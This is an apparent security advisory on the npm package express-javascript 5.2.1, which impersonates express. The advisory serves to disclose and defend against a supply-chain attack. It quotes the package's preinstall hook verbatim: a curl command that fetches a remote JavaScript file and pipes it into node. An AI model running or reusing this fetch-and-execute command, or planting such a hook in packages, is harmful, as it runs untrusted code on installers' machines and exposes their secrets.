express-javascript

GHSA-2m2v-6g9c-m674

Malicious code in express-javascript (npm)

Details

**Severity:** Critical

**Affected versions:** `= 5.2.1`

## Source: amazon-inspector (73e4909976d37fb7fb7dd30012d82bd882608df20716a824f1dc0efa074b5401)
[email protected] impersonates the express package (copying its description, author, contributors, repository, homepage, and dependency list verbatim) while its package.json preinstall lifecycle hook runs `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node`, fetching a JavaScript file from a third-party account unrelated to the express publisher via a web.archive.org wrapper on a mutable `branch/main` ref and piping it into node with no integrity check. Every `npm install` of this package executes whatever bytes that endpoint returns on the installer's machine.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/ff0a031ac0542095162e57416d3112ec9b517f9e/osv/malicious/npm/express-javascript/MAL-2026-17242.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/ff0a031ac0542095162e57416d3112ec9b517f9e/osv/malicious/npm/express-javascript/MAL-2026-17242.json
- https://www.npmjs.com/package/express-javascript/v/5.2.1
- https://github.com/ossf/malicious-packages/blob/d53c7e96cbe6a819c1c046bd6901f95d067d15dd/osv/malicious/npm/express-javascript/MAL-2026-17242.json
- https://www.npmjs.com/package/express-javascript
- https://github.com/ossf/malicious-packages/blob/0f170577c1b430bf090f13c3851498e809fd5b95/osv/malicious/npm/express-javascript/MAL-2026-17242.json
- https://safedep.io/dirtyblanket-express-impersonation-npm
- https://github.com/ossf/malicious-packages/blob/7a1f1382a84618fabc1c45e8b61e9c9cea6ea33f/osv/malicious/npm/express-javascript/MAL-2026-17242.json
- https://www.npmjs.com/package/express-javascript/v/5.2.2

Compromised versions (1)

= 5.2.1

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.